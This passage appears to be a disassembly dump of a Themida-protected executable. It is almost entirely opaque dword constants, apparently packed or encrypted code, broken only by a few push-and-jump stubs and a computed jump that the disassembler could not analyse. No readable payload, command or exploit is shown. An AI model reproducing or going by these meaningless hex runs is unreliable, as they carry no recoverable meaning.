dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h
dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h
dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh
dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h
dd 43F2FD54h, 2222DA53h
; ---------------------------------------------------------------------------
loc_575988: ; CODE XREF: sub_5757E6:loc_57589Ej
jmp loc_576603
; ---------------------------------------------------------------------------
push 60E9B3Fh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E9C40h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E9D33h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E9DECh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E9E5Eh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E9F00h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60EA07Bh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60EA194h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60EA27Ch
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60EA331h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60EA3F5h
jmp loc_543FDB
; ---------------------------------------------------------------------------
db 89h
dd 709D467Dh, 0DECF1425h, 8865FED3h, 77904372h, 72C1122Dh
dd 0B588906Bh, 53841AEh, 0E8E731DEh, 0BC899A0Bh, 1E965AA7h
dd 0C59A846Ah, 0DE960EFDh, 0A514F8D5h, 0B59D615Ch, 7C896E7Fh
dd 0B8C49241h, 0F3D7EE36h, 2BC0C569h, 7D45BD9Fh, 0FAD72089h
dd 957B8C79h, 8EABA009h, 3D81E587h, 60B45435h, 0F2CDD73Ah
dd 7A455F0Eh, 6964BE96h, 74A1AB15h, 5F1ACB21h, 85146EAAh
dd 0A02D87A1h, 0C0132E7Bh, 2D72D227h, 7468AC10h, 0F1CCD980h
dd 7F465C0Dh, 0FBD2228Bh, 1FAEEA17h, 0D28A0AB8h, 210586DEh
dd 0AB505D57h, 74F0635Eh, 9E0642EAh, 6A893A60h, 0BD256597h
dd 57E0C452h, 0D382CF1Ah, 2FC2A94h, 2C35C1EBh, 50FC6h
dd 0D5DE2E00h, 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h
dd 0B667F559h, 0AEE2566Bh, 0E794F480h, 53413A60h, 68FBE52h
dd 57BA2C35h, 42000000h, 754850BDh, 5733BB81h, 0D8C3941Dh
dd 5C608EE2h, 0C4313B40h, 876987BEh, 9F05CE6Fh, 0F75BBFBDh
dd 3753DB65h, 0B83A60CBh, 70149842h, 0F73A60CBh, 0F1916583h
dd 243A60CBh, 59EB717Ch, 133CB9E2h, 8D8CDA1h, 3A60597Ch
dd 0FF618FF3h, 2C35354Eh, 0E67Bh, 0D5DE8500h, 0EBE3A923h
dd 0C2268CCFh, 0FB01EC7Eh, 0F21C70C4h, 2C3E011Bh, 69AC8Fh
dd 8BA54166h, 0F0CDD687h, 7D485D0Ch, 0D8F53EEFh, 45708574h
dd 8FB99DF1h, 5AAD58D4h, 89A79B6Fh, 9417BCFDh, 0DFEA3FC3h
dd 260CAE0Dh, 84C385A0h, 0B1C896Ah, 4A524A3Eh, 0B6832B31h
dd 0B7BD9F4Ah, 0CF0CDD6h, 2F0FD4C8h, 0C3D5C04Dh, 4CC00F4h
dd 3A610240h, 4D9FF3C7h, 0CC7A57A0h, 12659022h, 0D17F5327h
dd 6C935F05h, 0EAD044h, 0A3B08F95h, 0C8073E42h, 8C704085h
dd 74F95EB4h, 0E1000009h, 48A5BE95h, 36D70C3Dh, 0E00DD6EBh
dd 4FB8BB9Ah, 6AE90A35h, 0AD90E803h, 7D4059B6h, 0C0FF09E6h
dd 94A1F213h, 6AE424Fh, 0C59A8642h, 0DE8E76C5h, 0CA71FBDAh
dd 3A40DF7Eh, 0A453B71Bh, 5726FDDFh, 4D817544h, 0D227C0A3h
dd 0BD847CE7h, 710D8C33h, 75308BFh, 94C6BBCFh, 18360CC3h
dd 0ADF6F884h, 7FAEBC90h, 55A91D2Ch, 0C61B6F87h, 96ECC394h
dd 0DF7EF678h, 50BD9FDEh, 3E4EE66Ah, 0EB3A61ACh, 25C43CC9h
dd 0C2C36A2h, 0CAh, 0F8D5DEE8h, 965FA514h, 941D6A1Eh, 0AAA5F3C3h
dd 0DF1D52Dh, 941B9425h, 0F7C2D7C3h, 0AD76836Ch, 0DCD7E80Eh
dd 3C348DBDh, 3C6BA148h, 0C12FBDFh, 9A0BD135h, 0BC94B28Fh
dd 0D11B207Ch, 60BF585Dh, 4E95ED42h, 65F78C10h, 6D1F88C1h
dd 92F36844h, 17F0529Ah, 201AF917h, 8EB1CB3Ah, 0AB60B855h
dd 72E44703h, 9EF2C830h, 70B3DE51h, 5A3D158Ch, 873h, 0A6BD949Eh
dd 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch, 93E9046Bh
dd 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh, 9A814105h
dd 8177C6C5h, 42511EBDh, 68192C43h, 979EE636h, 54F2D6CDh
dd 4E9CA3F9h, 98ED475Fh, 0B1C049ADh, 36D03498h, 0A4750BDh
dd 0D5DE2BE9h, 50A514F8h, 289FE65h, 66628A14h, 0E9C3941Dh
dd 0E3C7FE04h, 1D91F579h, 2C16C394h, 0CCE2BA02h, 0C5398DB8h
dd 0D6F37BE1h, 57BD9F05h, 0E0FA0C63h, 0C43FAF11h, 35B9A3B8h
dd 46B34800h, 4C7D8865h, 0E03584F8h, 0ED0DF1D5h, 0D466F48Fh
dd 0B54D3450h, 0A947BB36h, 82C7AFC7h, 4BD548B8h, 86CEA723h
dd 34D2282Ch, 8C79E3D7h, 378F4879h, 677A8D53h, 8F57791h
dd 8E18C2FFh, 86FC6266h, 0C36BE52Ch, 2C86FC87h, 30DE3208h
dd 0E54D56B7h, 824DA19Ch, 9144CBB7h, 80A718EAh, 0ED000007h
dd 54B1A299h, 2E37041h, 0EC19DAF7h, 5BB4AF96h, 5EE57E41h
dd 91ACF417h, 615CA542h, 340315F2h, 98B5FE2Fh, 32BAB65Bh
dd 0C59A8056h, 0DEF26AD9h, 1414F8D5h, 0DF69F388h, 40EEE32Eh
dd 9F1935B4h, 13C03ABDh, 221F6491h, 5FE4B804h, 8C92038Dh
dd 63CB9BB5h, 0DC446E4Eh, 7C8974E6h, 20759241h, 3349A115h
dd 0E5AAC228h, 3B4E7CC5h, 5E88B5CAh, 5BFB0CE1h, 0B68A7E41h
dd 1EC7E52h, 0D7F102F4h, 4ACB23ABh, 80AEE256h, 0DFEA3FEEh
dd 0BA97E00Dh, 9354F2D6h, 0A0142172h, 3D2F3448h, 38E80CB3h
dd 0D2FD9BDCh, 4E4DA034h, 0B8825048h, 8B5DFCAFh, 40070398h
dd 6C7h, 0AE9E032h, 0A4BF8A9Dh, 0D201384Bh, 0DD6ED35h
dd 0BEA598E0h, 0E73DD007h, 95EA1BD8h, 4A5A4BA8h, 0F207E073h
dd 7DEF1CC7h, 9A809DE9h, 3DA312C5h, 0E4760D6Fh, 9AB50740h
dd 5A6988BDh, 50C0622Fh, 0F59115C7h, 7A3A65DDh, 0CF3E2C00h
dd 0BB548FBAh, 8FEF536Eh, 608456EDh, 446ED981h, 5ADF223h
dd 46E0C4F3h, 1F76F1C9h, 0D28C70F3h, 6559F70h, 76800000h
dd 1C6B845Fh, 0CAD9362Dh, 7B836CF7h, 2A6E9F44h, 6289C82Bh
dd 954E718Bh, 0C51E2378h, 72E1DC28h, 0AEB58095h, 63678F5Dh
dd 0E4C59A83h, 33BDAF15h, 941DCFBBh, 143900C3h, 0E845B193h
dd 5978BE6Fh, 93BD91F5h, 0EA710Bh, 9A5744ECh, 15C73BBDh
dd 0B1A29FE8h, 82764354h, 0E354DB8h, 0EA5E69BFh, 58247896h
dd 0CA9519C3h, 7B4468EDh, 0DF28D507h, 7F42A339h, 0CBE01F2Ah
dd 3D261A5Fh, 608AC7D0h, 22F272FBh, 0CA641825h, 0CD562646h
dd 239A971Fh, 57AB4E7Ch, 7F78BF98h, 7BDC3692h, 5B3h, 66FDD4DEh
dd 90437E89h, 0CE152477h, 79FAD921h, 0AA49748Ch, 0D329C42Bh
dd 819677ECh, 3E46A7BCh, 0E633DC07h, 698308EBh, 9A8281C5h
dd 0C1B706C5h, 14F8D5DEh, 0FE6550A5h, 0CDD2DCA0h, 587947F0h
dd 52260B43h, 0F201EC7Eh, 0F9176BDFh, 5572FF77h, 0FFC3BD9Fh
dd 3FB7C10Bh, 3A615A4Bh, 0BC48E6DCh, 3A615ACCh, 0BA0E354Dh
dd 1F5C4D3h, 54DCE9C3h, 615AB4D0h, 0E3C73B3Ah, 0A15B6A4Eh
dd 2C355388h, 31A1h, 0D6F4F00h, 0E139E476h, 0FC2A6ED2h
dd 55BFA72h, 0EED4BD9Fh, 0CABACA1Ah, 356F3A60h, 0C7A940B8h
dd 22802C35h, 18000001h, 0DDAC9BEDh, 3509FDC8h, 0D5DE251Bh
dd 433C8123h, 980C72A3h, 0C3948FECh, 313B1F63h, 948FC9BDh
dd 645EC3h, 7EB7CDBCh, 0F94D7C8Fh, 8F394D85h, 7A80C394h
dd 2493F75Bh, 0A716FADEh, 6BF56752h, 948F87C3h, 143208C3h
dd 0FB384D3Ch, 948F1773h, 0B78E96C3h, 0CA308FC3h, 12830DD6h
dd 4C183603h, 0C394890Dh, 0F56E5BACh, 4E320F18h, 27354E2Eh
dd 40CD54B8h, 6D9BD484h, 17826B83h, 0A916BD9Fh, 974CAA40h
dd 0F350FEE6h, 720A548Fh, 5DDC03E9h, 0CA1F4F6Ah, 7C089C4Eh
dd 0F33A6141h, 7D8F618Fh, 9AB48590h, 6CD73BCAh, 34B8B444h
dd 3073B450h, 102D76D7h, 0F3A4D3Ch, 0F96347BBh, 2AC9F40Ch
dd 4F98A7FDh, 8C700132h, 388E41C1h, 0A5000004h, 0CF97A51h
dd 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh
dd 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C59ABD0Eh
dd 0BD4A3281h, 830A4750h, 0A5A84679h, 71F3605Fh, 0C568F7CAh
dd 0DA52655Dh, 0C394B6AEh, 4BE5D921h, 5F84B1C2h, 800D6FB9h
dd 941D186Ch, 0B7ABEFC3h, 1E2378A5h, 47F67EF0h, 28BD9F05h
dd 0BE023D47h, 5292665Ah, 3A60CB32h, 0A830BDE7h, 0AA1E257Dh
dd 0A746B856h, 822C35C6h, 0D1h, 0F11EBD6Ah, 0B2DA3FDh
dd 66B39AB4h, 0CB55E76Bh, 940027A3h, 0B452A8C3h, 887C4359h
dd 94061958h, 844F58C3h, 496F27Ah, 2119C394h, 9404A521h
dd 0FCD02AC3h, 5F6ABF6Eh, 0FE7997EBh, 0DB120411h, 0FDA9D9E6h
dd 0E800F4E8h, 0C95D8F94h, 0BD9F6220h, 0E0BEA59Dh
dd 89FD719Ch, 1E3A612Bh, 0B60E1B24h, 4DBE3E9Eh, 796B8369h
dd 0F2446C25h, 5CD06288h, 3073E528h, 0C3AD5BBFh, 13C44B1h
dd 231266E7h, 0F2CDD730h, 6FB23E75h, 0A265ED8Ch, 31Fh
dd 0D201384Ah, 0CD7E235h, 0BAB990E3h, 0D50E354Dh, 6DDE038h
dd 4F55A8BFh, 0FD02E370h, 0A2F213C0h, 4A5F48ABh, 0D517E47Fh
dd 9ABC3551h, 55CBBAC5h, 78FBDADEh, 35B97A8Fh, 0C3941D51h
dd 6B88ECD6h, 0F8D5DEADh, 30B4C614h, 0C3941D54h, 0C449E7DBh
dd 285D86B3h, 4ED5A79Fh, 96E3129Ch, 0CCF98DBBh, 2CBD9F05h
dd 162973A2h, 60C5AADEh, 2BC53D3Ah, 0F88C202Ch, 4F3A60C5h
dd 3630170Bh, 0E6541EBEh, 7D56E0Eh, 0C8BC8196h, 6905AF4h
dd 94B28D97h, 2196B5C0h, 8D1B3AE8h, 41661FDAh, 6526267Eh
dd 507021DAh, 0DFA39EE9h, 0A85587FBh, 4CC4625Fh, 21CB502Ch
dd 2D07E58Dh, 0FA605AF2h, 886EBD68h, 0E7642758h, 0EC1A7ED6h
dd 3A391461h, 0F37BB8CDh, 8A323297h, 4C300D16h, 574B8F08h
dd 0B17AE598h, 593E1436h, 237h, 0FA7950A2h, 14CFFA0Dh
dd 4291A8FBh, 0FD665DA5h, 2E350810h, 57AD4097h, 51A8B68h
dd 0BACA3B38h, 62B75083h, 0ED7F8C57h, 9ABF0D79h, 4D3382C5h
dd 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 76A7B519h, 0A7F71120h
dd 0F3CEDBD5h, 5D7CB0Fh, 9F2338E1h, 16CD35BDh, 8A124E61h
dd 2CD96BF1h, 0ED3035DBh, 0A4233DB4h, 0F80DFC40h, 0EB03E9CDh
dd 3A60FC9Fh, 68FC2A10h, 446BE45Dh, 7FF7E8D2h, 0FBF00733h
dd 10DA613Bh, 0C466B99Ch, 0C0B48E8Ah, 9D4FD4A8h, 0C9E56109h
dd 76E4DE8Ch, 95477287h, 0A7E7E30Bh, 1268E8D5h, 819273F4h
dd 0F024BBB4h, 0FF4B5515h, 18218h, 0AC9BEF00h, 724F56B7h
dd 0C4F504E1h, 0A9A8EE1Fh, 78475D4Ah, 0F6155CFBh, 0A74093A2h
dd 17F0635Eh, 0C02D3601h, 0B0599AB7h, 0BE5034B8h
dword_576400 dd 68D7C59Ah, 6DD5DEF0h, 64582C1Bh, 207CBC00h, 885DD11Bh
; DATA XREF: Themida_:0053EA7Co
dd 0B0BD9F1Ah, 16BAA60Bh, 9A52328Ah, 0B3CE1A18h, 8072105h
dd 425C2132h, 73F9821Ah, 6B5CCEFBh, 198D5F44h, 307D2C6Dh
dd 43A498E2h, 8F716783h, 3E4557FFh, 699DB82Ch, 0EFF8769h
dd 3D1A3409h, 633971C5h, 0FFAD12D8h, 413DB56Dh, 7D0CEE7Fh
dd 8F7C78C2h, 7F678F61h, 9D89723Eh, 0A3ABF13Eh, 3923FBDCh
dd 490FD1B5h, 0C26C56EDh, 3EEF7D45h, 0E354DF5h, 0CBDCC92Ah
dd 987871FEh, 0BF8B517Ah, 0BED8h, 0E0DF2B00h, 0B6839273h
dd 183140ADh, 0EDD42ADBh, 0BC839976h, 32C910A7h, 0E30CD7EEh
dd 53BCA79Ah, 3CE90A45h, 0F405DEEBh, 0BE94F074h, 0AC1BC59Ah
dd 0F8D5DE34h, 0F3881414h, 0A04DDF69h, 0B1957954h, 941DD5B1h
dd 0C6605AC3h, 9F19D73Eh, 0B4C7A8BDh, 0F9DD3185h, 394DE173h
dd 8E3A60E7h, 11E5D821h, 0B42FD93Dh, 638992EAh, 6E4E9BCBh
dd 1AEED444h, 886B66B3h, 0F003F27Ch, 0D11175D9h, 30727FB5h
dd 2726C03Ah, 0D313E7D2h, 6C51AD3Ch, 1C85001Ah, 0C8253E0Bh
dd 0A20217BFh, 0B2067A57h, 27967A5Eh, 0E11CE0DFh, 0A8FD22A3h
dd 5CA9469Dh, 104F9D61h, 5A8480Ch, 45BA54A4h, 3, 0DE9C84EFh
dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh
dd 2EB5F66h, 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 81E18951h
dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 8951242Ch, 4C181E1h
dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 5B2F68h, 242C8900h
dd 0F7BD5552h, 0BA223B00h, 0E3D39860h, 895DEA01h, 8B545AD6h
dd 0C483242Ch, 0BD555604h, 0DF41DFFh, 4246C29h, 8458F5Dh
dd 0FF084581h, 0FF0DF41Dh, 835D2434h, 348B04C4h, 0E0895024h
dd 405h, 4C08300h, 5C240487h, 0FCD9DEE9h, 0AFAD72FFh
db 0F4h, 49h, 0EAh
; ---------------------------------------------------------------------------
loc_576603: ; CODE XREF: sub_5757E6:loc_575988j
mov eax, 60EA4D8h
add eax, ebp
jmp eax
sub_5757E6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 7048248Fh, 7CA3E563h, 30D80F8Dh, 0C5929E9h, 4766337h
dd 7F8D502Eh, 13A83635h, 3C8F4CF4h, 0D954ADFh, 45061660h
dd 3A6C174Eh, 5B3AF794h, 4FB50673h, 2AEAB80Ah, 7E94687Fh
dd 3C754B1Dh, 13AD1262h, 71542837h, 9567F01h, 72EB9B07h
dd 68C345ABh, 50003B61h, 1034B408h, 196C3F6Eh, 4D443BF8h
dd 578F1D0h, 4E5313BAh, 15FF7D5Ah, 279B1611h, 148E9h, 5000h
dd 5400h, 5800h, 5C00h, 6000h, 6400h, 6800h, 6C00h, 0B000h
dd 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h
dd 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h
dd 0EC00h, 38h dup(0)
dd 5766E500h, 9F50EB00h, 0E1858D00h, 0E8060EA5h, 0Fh, 0E86D0468h
dd 0AAE95620h, 0FF9CDF80h, 50D8818Ch, 5F5EFE8Bh, 0A7218589h
dd 85C6060Eh, 60B2845h, 3D9D8B54h, 68060B32h, 0A62F36B2h
dd 5E9h, 0FDE7C200h, 481D831h, 33317724h, 8E948h, 0D2AA0000h
dd 0A095BFA3h, 0B5FF7D8Fh, 60B1355h, 286DBD8Bh, 858D060Bh
dd 60E7D18h, 26E18D8Bh, 0D0FF060Bh, 1061BD31h, 8589060Bh
dd 60EA725h, 4DE9F5h, 9D090000h, 60B1F9Dh, 21B58B56h, 89060EA7h
dd 21858306h, 4060EA7h, 8D60C35Eh, 0EA5E1B5h, 560FEB06h
dd 36FF006Ah, 0A72595FFh, 835E060Eh, 3E8304C6h, 61EC7500h
dd 0A236BAC3h, 8531247Ch, 60B1AB1h, 0DB816060h, 7D71A0CAh
dd 8D6161FCh, 0EA7C285h, 0BF666006h, 0BD8B2086h, 60B0F49h
dd 1D858961h, 0EB060B10h, 0BF000039h, 0BF02CC00h, 0BF02E400h
dd 0
dd 7C726E00h, 657E4A44h, 7476EF75h, 7F723421h, 7535CC4Ch
dd 5F1BBC4Dh, 5D572C75h, 5E6F7A21h, 45757F51h, 707E7F49h
dd 7B7B8645h, 12F31521h, 311BA121h, 9845137Fh, 901F4C55h
dd 61F1065h, 571B1A21h, 8C24CE77h, 0AC923B52h, 17104298h
dd 0D39AC7D4h, 0D190176Ah, 1366E5AAh, 0A438322Ah, 17103AB4h
dd 14A6B0A2h, 641B802Ah, 0C0A6C028h, 111DAA08h, 424BC955h
dd 0A8A3A8AAh, 981B3425h, 1A312FA4h, 0B868027h, 0EE1D8B92h
dd 924318F2h, 1A32709Ch, 66FD027h, 0A8A33B71h, 981B3425h
dd 1A312FA4h, 18868027h, 0EE1D8B91h, 7B4318F2h, 12F3F021h
dd 311BD021h, 9842AB78h, 901F106Dh, 0D1F3E65h, 501B0D21h
dd 0D4924570h, 39DF29FCh, 9858D346h, 1A3971BCh, 4E55D127h
dd 117154ACh, 1118F277h, 4F3B0D21h, 6592D8E2h, 559A4705h
dd 110CA505h, 475DD021h, 0CA8D65E2h, 111EDD15h, 0CFC11A21h
dd 9AE4D1A7h, 471BECE1h, 111B40C9h, 0D2458121h, 356F597Fh
dd 355FE925h, 111B2925h, 0D24D5C21h, 4903C8A3h, 4C2E676Dh
dd 0E09B0B28h, 549E6793h, 471DDB09h, 10C2D5AAh, 2473322Ah
dd 77BA3A10h, 259AF5AAh, 9992E105h, 1C96C81Ch, 0EE1DAA03h
dd 1A088594h, 12936727h, 771B3421h, 2F2CDAAh, 6B1B0D21h
dd 6AF7EA20h, 0F5FC9C0h, 0F567FA2h, 6823F00Bh, 94969920h
dd 17154939h, 20CBE5D9h, 1A155094h, 0A41FEC27h, 0A02C2B68h
dd 6EA55F42h, 904728D1h, 4FD24C25h, 117135BDh, 1118F273h
dd 4B3B0D21h, 4592DCE2h, 559A4705h, 1103A505h, 4359D021h
dd 0BC5B51E2h, 0CE9A24A4h, 159D8425h, 111B03C9h, 76DE3D21h
dd 4CAF2FA8h, 725E7053h, 9AB97AE2h, 1A14F9ACh, 59736E27h
dd 7757A7FBh, 259ADAAAh, 0ACC32205h, 421B296Dh, 111BA2C9h
dd 0D240F021h, 3547E17Ah, 355FB525h, 111B0025h, 0D2484E21h
dd 3FC67EFh, 7B78D609h, 30AEA821h, 0EE1DDB38h, 0F096E1F1h
dd 981D3F2Eh, 1FB30BA4h, 0E990F427h, 11194A24h, 49ECA21h
dd 921DAF89h, 9492C8E1h, 1715C038h, 0FDA2F412h, 0E21B1A23h
dd 461B678Bh, 111B85C9h, 0D2446321h, 3567287Eh, 355F5125h
dd 111B7125h, 0D24C7321h, 0E375D840h, 0AC90F3D2h, 1710AEACh
dd 47FBAAA1h, 32262CA8h, 0D745D62Ah, 1A332DA4h, 0CB9A7727h
dd 529E7750h, 36B698AAh, 0FD73802Ah, 0A0F88684h, 352F2027h
dd 6EB91E93h, 0F949684Bh, 111B3422h, 4BD84001h, 153F59A8h
dd 153FC2A0h, 111B433Dh, 0ADD8F363h, 0CAEB6AE7h, 0E67B56BFh
dd 111B25C8h, 2A35FF21h, 6D84C2C2h, 2863194Ah, 0B2D3C109h
dd 0EEE7E50Ch, 1A088594h, 461B0227h, 111B37C9h, 0D2443A21h
dd 3567847Eh, 355F0725h, 111B5425h, 0D24CE621h, 0F2769183h
dd 0B72FD89Eh, 99EB966h, 1E1D145Ch, 0C1E4FF9Eh, 98CD312Eh
dd 1A02C6A4h, 441BCB27h, 111BD3C9h, 0D2464821h, 3577BD7Ch
dd 355F9B25h, 111B1525h, 0D24EC321h, 315CB219h, 1111485Eh
dd 97FCD021h, 65C6FF7Ah, 0E1C725B5h, 327E9FACh, 14F30B2Ah
dd 1C1B8621h, 373C9856h, 33363CA8h, 9845D62Ah, 1A3449A4h
dd 461B5E27h, 111B19C9h, 0D2442D21h, 35670F7Eh, 355FC225h
dd 111BB525h, 0D24C9721h, 188E4134h, 0D71D3F29h, 1A335FA4h
dd 907D5E27h, 7978ADC3h, 0E99A2AFDh, 11172E2Eh, 434BD021h
dd 20143176h, 0CA228B47h, 159A427Bh, 3EC5F105h, 3928925h
dd 1E1B4321h, 111BADA2h, 111C3921h, 15FE6821h, 0D8057EA9h
dd 44AEE51Ch, 7B1D0632h, 12F3D721h, 311B4321h, 98426278h
dd 901FF46Dh, 0A1F4C65h, 501B3421h, 0E3FAD970h, 2A35E81Dh
dd 949649C2h, 17153E39h, 0EEEB162Eh, 421BBAF1h, 111B6BC9h
dd 0D2401421h, 3547937Ah, 355F8C25h, 111B9F25h, 0D2480021h
dd 0CCAF4D76h, 5F25F62h, 0A61B6821h, 1C46A5F4h, 23B461A3h
dd 0A6ECEFD5h, 7D747B6Ch, 1ECACA03h, 111BA7A6h, 0C4965921h
dd 981D632Ah, 1A29E9A4h, 70969127h, 0D71D0620h, 1A33C3A4h
dd 95141027h, 111BA122h, 79CB672Eh, 0EADA463Eh, 90CDBF47h
dd 0FBB73E15h, 0AF4B2EF8h, 15618DF9h, 44AEBC7Bh, 981DAA32h
dd 1A03CD94h, 99EE527h, 7B1D3A5Ch, 12F34821h, 311B0D21h
dd 9841457Bh, 901F6775h, 51F8565h, 531BD021h, 0EE90AB73h
dd 401B5EF1h, 111B19C9h, 0D2422D21h, 35570F78h, 355FC225h
dd 111BBC25h, 0D24A9121h, 0D2CF4552h, 10785784h, 9114179Ah
dd 111B0D27h, 68A1310h, 9492452Ah, 1710A91Ch, 0D7E3672Eh
dd 1A332DA4h, 11717327h, 1118F271h, 493B0D21h, 5592DEE2h
dd 559A4705h, 1106A505h, 415BD021h, 0F460D8E2h, 2B97D692h
dd 46E0C941h, 4B41F477h, 11AA3328h, 0D473452Ah, 41BC16B1h
dd 58516E73h, 2014662Ah, 9A7D6671h, 772A15DFh, 4BF3B19Bh
dd 9043DC79h, 5C776715h, 8C92B148h, 1710FA48h, 24EDDDEh
dd 1171322Ah, 1118F276h, 4E3B0D21h, 6D92D9E2h, 559A4705h
dd 110DA505h, 465CD021h, 0A827EEE2h, 6C03B1ACh, 11711C2Fh
dd 1118E573h, 4B3B8621h, 459219E2h, 559AA505h, 1101D405h
dd 43596821h, 926743E2h, 0C44BB855h, 9412DDDEh, 17108480h
dd 4438F947h, 331224A8h, 1171D62Ah, 11188070h, 483B3421h
dd 5D9243E2h, 559A0905h, 11008205h, 405A4321h, 6AB45BE2h
dd 0E9FB87Bh, 189EE16Bh, 0D71D3F21h, 1A335FA4h, 0E69A4A27h
dd 2C5749A5h, 173BBAAh, 0AE44DE4Fh, 44560021h, 7B3F6CA0h
dd 7B396883h, 12F34A21h, 311B0D21h, 98434579h, 901F6765h
dd 0A1F8565h, 511BD021h, 843EAB71h, 0E81C5BFFh, 0AC925AF6h
dd 17101B78h, 24E33DEh, 1171452Ah, 11184972h, 4A3BD021h
dd 4D9233E2h, 559A3005h, 110D1E05h, 42580D21h, 39DB2AE2h
dd 3532D6AAh, 0DF9AA72Ah, 98D855Ah, 6C03EDACh, 1171322Fh
dd 1118F276h, 4E3B0D21h, 6D92D9E2h, 559A4705h, 1106A505h
dd 465CD021h, 3B9B07E2h, 5250E8B3h, 0E963ED7Ch, 8432DDDEh
dd 1710A614h, 116AC6A8h, 0AE7DA72Ah, 0C79BE649h, 549EAEE7h
dd 561D3F09h, 9698139Bh, 0D14A6506h, 9F1448AFh, 111B4322h
dd 90D32A47h, 0ED17F415h, 11710C62h, 1118DC73h, 4B3B1A21h
dd 459257E2h, 559A8205h, 11014705h, 4359A121h, 0F8941CE2h
dd 689D1D00h, 0FC8EBF77h, 481D1121h, 24EB8DEh, 0C39A802Ah
dd 60D23050h, 6C0324ACh, 1171D62Fh, 11188074h, 4C3B3421h
dd 7D9247E2h, 559A0905h, 11008205h, 445E4321h, 0BE0DE6E2h
dd 0AEE34346h, 0A542D6F1h, 0C1E46C77h, 0F9491A4Bh, 111B0D22h
dd 4BD8DC01h, 153F17A8h, 153FE5A0h, 111BD039h, 0A1D83A63h
dd 0D63C160Bh, 26A9FA8h, 11710B2Ah, 11186E71h, 493B4321h
dd 5592F9E2h, 559AD405h, 110E6C05h, 415B3421h, 0F9EBB0E2h
dd 111B0D2Ch, 0CF857D74h, 927EA183h, 7F8B1C0Eh, 0E39AB6F1h
dd 1E41D569h, 111B37A0h, 0C3AC1521h, 1171DDDEh, 11186E71h
dd 493B4321h, 5592F9E2h, 559AD405h, 110F6C05h, 415B3421h
dd 0AC1AD2E2h, 1710192Ch, 17FA03A8h, 9514452Ah, 111BA122h
dd 77D15B47h, 0F848B0ADh, 111B342Bh, 240FA840h, 86235333h
dd 3541DEB1h, 411B2925h, 111BA2C9h, 0D243F021h, 355FE179h
dd 355FB525h, 111B0C25h, 0D24B4D21h, 1AAD3EC4h, 1A15A2B4h
dd 1EDBAB27h, 111943A5h, 411B0221h, 111B37C9h, 0D2433A21h
dd 355F8479h, 355F0725h, 111B5825h, 0D24BE121h, 8ED7B47Dh
dd 0A17FF8B2h, 0D7E38B2Eh
dd 1A335FA4h, 11714227h, 11186E73h, 4B3B4321h, 4592FBE2h
dd 559AD405h, 110C6C05h, 43593421h, 88E936E2h, 108E840Eh
dd 791D8D12h, 9727C8BAh, 90D32A47h, 0F032F425h, 0A4A55162h
dd 0EE21C8B7h, 1A084F94h, 441B6727h, 111B85C9h, 0D2466321h
dd 3577287Ch, 355F5125h, 111B7525h, 0D24E7121h, 0E5E73BDFh
dd 0A2578FE5h, 60A9219Ah, 6C03C6ACh, 1171A72Fh, 11183877h
dd 4F3B6821h, 65926AE2h, 559A1E05h, 110D0905h, 475D8621h
dd 580F95E2h, 100E2C12h, 0C1E4D62Ah, 35DBEBDDh, 98E8BF47h
dd 1A18CBA4h, 0F89A6B27h, 9490E1EDh, 171045C0h, 0F94BA14Bh
dd 111BD022h, 49D83001h, 153F70A8h, 153F5EA0h, 111B0D39h
dd 4AD8D661h, 3DC80020h, 26A3CAAh, 9C92D62Ah, 17107864h
dd 441B5E62h, 111B19C9h, 0D2462D21h, 35770F7Ch, 355FC225h
dd 111BB525h, 0D24E9521h, 9ACBE3AAh, 431B5E3Ah, 111B19C9h
dd 0D2412D21h, 354F0F7Bh, 355FC225h, 111BB825h, 0D2499221h
dd 31AC1C17h, 0A90D06Eh, 0B8AE9371h, 4F1D0639h, 9F149DAAh
dd 111B4324h, 0DFBBD59Bh, 77C3E346h, 772A079Eh, 0AD2FE5A0h
dd 17F687A8h, 9B140B2Ah, 111B8627h, 17AECEA8h, 8492A72Ah
dd 1710DC80h, 395EEDE7h, 9A5C322Ah, 1A1A4394h, 13566527h
dd 0AB7D5844h, 259A6800h, 0AAC44505h, 6C965B48h, 0EE1D6332h
dd 1A086194h, 9CE89127h, 1F6615A4h, 461BEC27h, 111B40C9h
dd 0D2448121h, 3567597Eh, 355FE925h, 111B2E25h, 0D24C5D21h
dd 3713242Fh, 9A015F1Dh, 1A000E94h, 9ACB5E27h, 1A1BC1ACh
dd 189EE127h, 771D3F03h, 772AEDA0h, 471B6761h, 111B85C9h
dd 0D2456321h, 356F287Fh, 355F5125h, 111B7525h, 0D24D7221h
dd 0CB386F8Dh, 79454F9Eh, 8C924449h, 17107020h, 1171A1AAh
dd 11183872h, 4A3B6821h, 4D926FE2h, 559A1E05h, 11020905h
